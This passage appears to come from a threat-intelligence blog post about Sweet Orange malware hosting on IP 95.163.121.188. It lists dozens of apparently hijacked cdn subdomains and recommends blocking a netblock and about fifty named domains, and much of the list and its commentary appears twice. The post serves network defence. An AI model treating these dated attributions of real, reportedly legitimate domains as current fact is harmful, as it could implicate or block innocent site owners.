cdn2.tequilatimes.info
cdn3.tequilatimes.info
cdn4.tequilatimes.info
cdn5.tequilatimes.info
cdn.georgicasweets.info
cdn.sefu.mobi
cdn2.sefu.mobi
cdn3.sefu.mobi
cdn4.sefu.mobi
cdn5.sefu.mobi
cdn.seefu.mobi
cdn2.seefu.mobi
cdn3.seefu.mobi
cdn4.seefu.mobi
cdn5.seefu.mobi
cdn.seefoo.mobi
cdn2.seefoo.mobi
cdn3.seefoo.mobi
cdn.georgika.co
cdn.georgicasuites.com
cdn.georgicasweets.com
google.vctelectronics.com
cdn.limodog.net
cdn2.limodog.net
cdn3.limodog.net
cdn4.limodog.net
cdn5.limodog.net
cdn.soundpet.net
cdn2.soundpet.net
cdn3.soundpet.net
cdn4.soundpet.net
cdn5.soundpet.net
cdn.georgicas.net
cdn.georgicasweets.net
cdn.georgicasweets.org
cdn.limodog.xyz
cdn2.limodog.xyz
cdn3.limodog.xyz
cdn4.limodog.xyz
cdn5.limodog.xyz
cdn.georgicas.mobi
cdn.georgicasweets.mobi
cdn.georgika.net
The domains appear to be legitimates ones that have been hijacked in some way.
95.163.121.188 forms part of a large netblock of 95.163.64.0/18 - I have had half of this (95.163.64.0/19) blocked for several years which has stopped a great deal of badness, so I recommend that you block either the /19 or /18 and/or the following domains:
sweetip.uk.com
critico.com.mx
critico.co
easynet.co
georgika.co
networkguys.co
seefoo.co
seefu.co
sefu.co
ajdistributor.com
brazitel.com
chagwichita.com
georgicasuites.com
georgicasweets.com
mcelectricalinc.com
netguysglobal.com
primrosebrentwood.com
primrosenashvillemidtown.com
sweetip.com
tequilacritics.com
tequilaguildofamerica.com
tequilaspectator.com
tequilatimes.com
thecritico.com
vctelectronics.com
tequilacritico.es
georgicasweets.info
tequilatimes.info
georgicas.mobi
georgicasweets.mobi
seefoo.mobi
seefu.mobi
sefu.mobi
critico.mx
tequilacritico.mx
thecritico.mx
georgicas.net
georgicasweets.net
georgika.net
limodog.net
networkguys.net
seefoo.net
seefu.net
soundpet.net
sweetip.net
tequilacritico.net
georgicasweets.org
gandco.pro
limodog.xyz
primrosebrentwood.xyz
Currently I can see the following domains active on this IP address. Ones highlighted are flagged as malicious by Google.
cdn2.sefu.co
cdn3.sefu.co
cdn4.sefu.co
cdn5.sefu.co
cdn.seefu.co
cdn2.seefu.co
cdn3.seefu.co
cdn.seefoo.co
cdn2.seefoo.co
cdn3.seefoo.co
cdn.critico.co
cdn.easynet.co
cdn.networkguys.co
cdn.tequilacritico.es
cdn2.tequilacritico.es
cdn3.tequilacritico.es
cdn4.tequilacritico.es
cdn5.tequilacritico.es
cdn.critico.com.mx
cdn.critico.mx
cdn.thecritico.mx
cdn2.thecritico.mx
cdn4.thecritico.mx
cdn5.thecritico.mx
cdn.tequilacritico.mx
cdn2.tequilacritico.mx
cdn3.tequilacritico.mx
cdn4.tequilacritico.mx
cdn5.tequilacritico.mx
cdn.sweetip.uk.com
cdn2.sweetip.uk.com
cdn3.sweetip.uk.com
cdn4.sweetip.uk.com
cdn5.sweetip.uk.com
cdn.sweetip.com
cdn2.sweetip.com
cdn3.sweetip.com
cdn4.sweetip.com
cdn5.sweetip.com
cdn.brazitel.com
cdn.thecritico.com
cdn2.thecritico.com
cdn3.thecritico.com
cdn4.thecritico.com
cdn5.thecritico.com
google.chagwichita.com
cdn.tequilatimes.com
cdn2.tequilatimes.com
cdn3.tequilatimes.com
cdn4.tequilatimes.com
cdn5.tequilatimes.com
google.ajdistributor.com
cdn.netguysglobal.com
cdn.tequilacritics.com
cdn2.tequilacritics.com
cdn3.tequilacritics.com
cdn4.tequilacritics.com
cdn5.tequilacritics.com
cdn.mcelectricalinc.com
cdn.tequilaspectator.com
cdn2.tequilaspectator.com
cdn3.tequilaspectator.com
cdn4.tequilaspectator.com
cdn5.tequilaspectator.com
cdn.primrosebrentwood.com
cdn.tequilaguildofamerica.com
cdn2.tequilaguildofamerica.com
cdn3.tequilaguildofamerica.com
cdn4.tequilaguildofamerica.com
cdn5.tequilaguildofamerica.com
cdn.primrosenashvillemidtown.com
cdn.seefu.net
cdn2.seefu.net
cdn3.seefu.net
cdn4.seefu.net
cdn5.seefu.net
cdn.seefoo.net
cdn2.seefoo.net
cdn3.seefoo.net
cdn.sweetip.net
cdn2.sweetip.net
cdn3.sweetip.net
cdn4.sweetip.net
cdn5.sweetip.net
cdn.networkguys.net
cdn2.networkguys.net
cdn3.networkguys.net
cdn.tequilacritico.net
cdn2.tequilacritico.net
cdn3.tequilacritico.net
cdn4.tequilacritico.net
cdn5.tequilacritico.net
cdn.gandco.pro
cdn.primrosebrentwood.xyz
cdn.tequilatimes.info
cdn2.tequilatimes.info
cdn3.tequilatimes.info
cdn4.tequilatimes.info
cdn5.tequilatimes.info
cdn.georgicasweets.info
cdn.sefu.mobi
cdn2.sefu.mobi
cdn3.sefu.mobi
cdn4.sefu.mobi
cdn5.sefu.mobi
cdn.seefu.mobi
cdn2.seefu.mobi
cdn3.seefu.mobi
cdn4.seefu.mobi
cdn5.seefu.mobi
cdn.seefoo.mobi
cdn2.seefoo.mobi
cdn3.seefoo.mobi
cdn.georgika.co
cdn.georgicasuites.com
cdn.georgicasweets.com
google.vctelectronics.com
cdn.limodog.net
cdn2.limodog.net
cdn3.limodog.net
cdn4.limodog.net
cdn5.limodog.net
cdn.soundpet.net
cdn2.soundpet.net
cdn3.soundpet.net
cdn4.soundpet.net
cdn5.soundpet.net
cdn.georgicas.net
cdn.georgicasweets.net
cdn.georgicasweets.org
cdn.limodog.xyz
cdn2.limodog.xyz
cdn3.limodog.xyz
cdn4.limodog.xyz
cdn5.limodog.xyz
cdn.georgicas.mobi
cdn.georgicasweets.mobi
cdn.georgika.net
The domains appear to be legitimates ones that have been hijacked in some way.
95.163.121.188 forms part of a large netblock of 95.163.64.0/18 - I have had half of this (95.163.64.0/19) blocked for several years which has stopped a great deal of badness, so I recommend that you block either the /19 or /18 and/or the following domains:
sweetip.uk.com
critico.com.mx
critico.co
easynet.co
georgika.co
networkguys.co
seefoo.co
seefu.co
sefu.co
ajdistributor.com
brazitel.com
chagwichita.com
georgicasuites.com
georgicasweets.com
mcelectricalinc.com
netguysglobal.com
primrosebrentwood.com
primrosenashvillemidtown.com
sweetip.com
tequilacritics.com
tequilaguildofamerica.com
tequilaspectator.com
tequilatimes.com
thecritico.com
vctelectronics.com
tequilacritico.es
georgicasweets.info
tequilatimes.info
georgicas.mobi
georgicasweets.mobi
seefoo.mobi
seefu.mobi
sefu.mobi
critico.mx
tequilacritico.mx
thecritico.mx
georgicas.net
georgicasweets.net
georgika.net
limodog.net
networkguys.net
seefoo.net
seefu.net
soundpet.net
sweetip.net
tequilacritico.net
georgicasweets.org
gandco.pro
limodog.xyz
primrosebrentwood.xyz
Labels:
DINETHOSTING,
Malware,
Russia,
Sweet Orange,
Viruses
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